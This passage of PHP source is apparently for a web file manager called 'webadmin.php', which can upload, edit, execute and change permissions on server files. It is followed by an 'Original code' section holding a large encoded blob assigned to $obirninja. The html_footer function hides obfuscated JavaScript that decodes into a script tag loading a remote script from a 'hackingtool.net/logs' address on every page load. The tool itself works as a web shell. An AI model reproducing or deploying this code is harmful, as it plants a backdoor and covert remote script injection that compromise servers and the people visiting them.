                return array('directory' => 'Directory', 'file' => 'File', 'filename' => 'Filename', 'size' => 'Size', 'permission' => 'Permission', 'owner' => 'Owner', 'group' => 'Group', 'other' => 'Others', 'functions' => 'Functions', 'read' => 'read', 'write' => 'write', 'execute' => 'execute', 'create_symlink' => 'create symlink', 'delete' => 'delete', 'rename' => 'rename', 'move' => 'move', 'copy' => 'copy', 'edit' => 'edit', 'download' => 'download', 'upload' => 'upload', 'create' => 'create', 'change' => 'change', 'save' => 'save', 'set' => 'set', 'reset' => 'reset', 'relative' => 'Relative path to target', 'yes' => 'Yes', 'no' => 'No', 'back' => 'back', 'destination' => 'Destination', 'symlink' => 'Symlink', 'no_output' => 'no output', 'user' => 'User', 'password' => 'Password', 'add' => 'add', 'add_basic_auth' => 'add basic-authentification', 'uploaded' => '"[%1]" has been uploaded.', 'not_uploaded' => '"[%1]" could not be uploaded.', 'already_exists' => '"[%1]" already exists.', 'created' => '"[%1]" has been created.', 'not_created' => '"[%1]" could not be created.', 'really_delete' => 'Delete these files?', 'deleted' => "These files have been deleted:\n[%1]", 'not_deleted' => "These files could not be deleted:\n[%1]", 'rename_file' => 'Rename file:', 'renamed' => '"[%1]" has been renamed to "[%2]".', 'not_renamed' => '"[%1] could not be renamed to "[%2]".', 'move_files' => 'Move these files:', 'moved' => "These files have been moved to \"[%2]\":\n[%1]", 'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]", 'copy_files' => 'Copy these files:', 'copied' => "These files have been copied to \"[%2]\":\n[%1]", 'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]", 'not_edited' => '"[%1]" can not be edited.', 'executed' => "\"[%1]\" has been executed successfully:\n{%2}", 'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}", 'saved' => '"[%1]" has been saved.', 'not_saved' => '"[%1]" could not be saved.', 'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.', 'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.', 'permission_for' => 'Permission of "[%1]":', 'permission_set' => 'Permission of "[%1]" was set to [%2].', 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].', 'not_readable' => '"[%1]" can not be read.');
        }
    }
    function getimage($image)
    {
        switch ($image) {
            case 'file':
                return "GIF89a\21\0\r\0\x91\3\0\x99\x99\x99\xff\xff\xff\0\0\0\xff\xff\xff!\xf9\4\1\xe8\3\3\0,\0\0\0\0\21\0\r\0\0\2-\x9c\x81\x89\xc6\r\1\xe3j\xec\x89+\xc2\3\xf4D\x99t\26\x86i\xe2\x87r\xd4Hf\xaa\x83~o\25\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\2\0;\0";
            case 'folder':
                return "GIF89a\21\0\r\0\x91\3\0\x99\x99\x99\xff\xff\xff\xcc\xcc\xcc\xff\xff\xff!\xf9\4\1\xe8\3\3\0,\0\0\0\0\21\0\r\0\0\2*\x9c\x8f\x99\xc0\xac\33b\4\xcf\xb4\x8b\x9d\x95\xbc\v:\0\x81@\x96&\t\x8a\xe7\xfam\xec\x99\x8eo\31\xcf\xb4k\xb7a\x8e\36\xd9o(\0\0;\0";
            case 'hidden_file':
                return "GIF89a\21\0\r\0\x91\3\0\xcc\0\0\xff\xff\xff\x99\x99\x99\xff\xff\xff!\xf9\4\1\xe8\3\3\0,\0\0\0\0\21\0\r\0\0\2-\x9c\x81\x89\xc6\r\1\xe3j\xec\x89+\xc2\3\xf4D\x99t\26\x86i\xe2\x87r\xd4Hf\xaa\x83~o\25\xb4\x97\xb9\xc6\xd2i\xbb\xa7\x8es(\x86\xaf\2\0;\0";
            case 'link':
                return "GIF89a\21\0\r\0\xa2\4\0\x99\x99\x99\xff\xff\xff\0\0\0\xcc\0\0\xff\xff\xff\0\0\0\0\0\0\0\0\0!\xf9\4\1\xe8\3\4\0,\0\0\0\0\21\0\r\0\0\39H\n\xdc\xac0\x82@\xeb\x8bp\x8a-\xc2\4\xd8RYM8\r\3\xc5y&\x85\x8e,\x84\xces\xb0\xc5\nM\x8f 6\5/[\xa7'\1\xa6`\xc4\xcc\x883l\xc1,&\x87\x94\x98\0\0;\0";
            case 'smiley':
                return "GIF89a\21\0\r\0\x91\2\0\0\0\0\xff\xff\0\xff\xff\xff\0\0\0!\xf9\4\1\xe8\3\2\0,\0\0\0\0\21\0\r\0\0\2,\x94\x8f\xa9\2\xed\xb0\f\10\xb3\xd25\x83\xde\32\xa6\0076_\xd5P\xa5x\x94\34\x87J\xe4vzi\7wJf\xe22\x82\xb3\21\23\xfa\t\17\5\0;\0";
            case 'arrow':
                return "GIF89a\21\0\r\0\x80\1\0\0\0\0\xff\xff\xff!\xf9\4\1\n\0\1\0,\0\0\0\0\21\0\r\0\0\2\35\x8c\17p\xcb\xa8\rC\x8apRf\xaf\xd3+\xe7\xfa\30I\x88\x8d\xe6\10\x9e\xa8\xb6\xb2\$\xc7\24\0;";
        }
    }
    function html_header()
    {
        global $site_charset;
        echo <<<END
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta http-equiv="Content-Type" content="text/html; charset={$site_charset}" />

<title>webadmin.php</title>

<style type="text/css">
body { font: small sans-serif; text-align: center }
img { width: 17px; height: 13px }
a, a:visited { text-decoration: none; color: navy }
hr { border-style: none; height: 1px; background-color: silver; color: silver }
#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
.listing th, .listing td { padding: 1px 3pt 0 3pt }
.listing th { border: 1px solid silver }
.listing td { border: 1px solid #ddd; background: white }
.listing .checkbox { text-align: center }
.listing .filename { text-align: left }
.listing .size { text-align: right }
.listing th.permission { text-align: left }
.listing td.permission { font-family: monospace }
.listing .owner { text-align: left }
.listing .group { text-align: left }
.listing .functions { text-align: left }
.listing_footer td { background: #eee; border: 1px solid silver }
#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
#directory { background: #eee; border: 1px solid silver }
#upload { padding-top: 1em }
#create { padding-bottom: 1em }
.small, .small option { font-size: x-small }
textarea { border: none; background: white }
table.dialog { margin-left: auto; margin-right: auto }
td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
#permission { margin-left: auto; margin-right: auto }
#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
td.permission_action { text-align: right }
#symlink { background: #eee; border: 1px solid silver }
#symlink td { text-align: left; padding: 3pt }
#red_button { width: 120px; color: #400 }
#green_button { width: 120px; color: #040 }
#error td { background: maroon; color: white; border: 1px solid silver }
#notice td { background: green; color: white; border: 1px solid silver }
#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
code { font-size: 12pt }
td { white-space: nowrap }
</style>

<script type="text/javascript">
<!--
function activate (name) {
\tif (document && document.forms[0] && document.forms[0].elements['focus']) {
\t\tdocument.forms[0].elements['focus'].value = name;
\t}
}
//-->
</script>

</head>
<body>


END;
    }
    function html_footer()
    {
        echo "</body>\n</html>\n<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%264E%2633iuuqt%264B00ibdljohuppm/ofu0mpht0dj%7B/kt%2633%264F%264D0tdsjqu%264F%26311')</script>";
    }
    function notice($phrase)
    {
        global $cols;
        $args = func_get_args();
        array_shift($args);
        return '<tr id="notice">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
    }
    function error($phrase)
    {
        global $cols;
        $args = func_get_args();
        array_shift($args);
        return '<tr id="error">
	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
</tr>
';
    }
};
?> 


Original code

<?php
$obirninja = "==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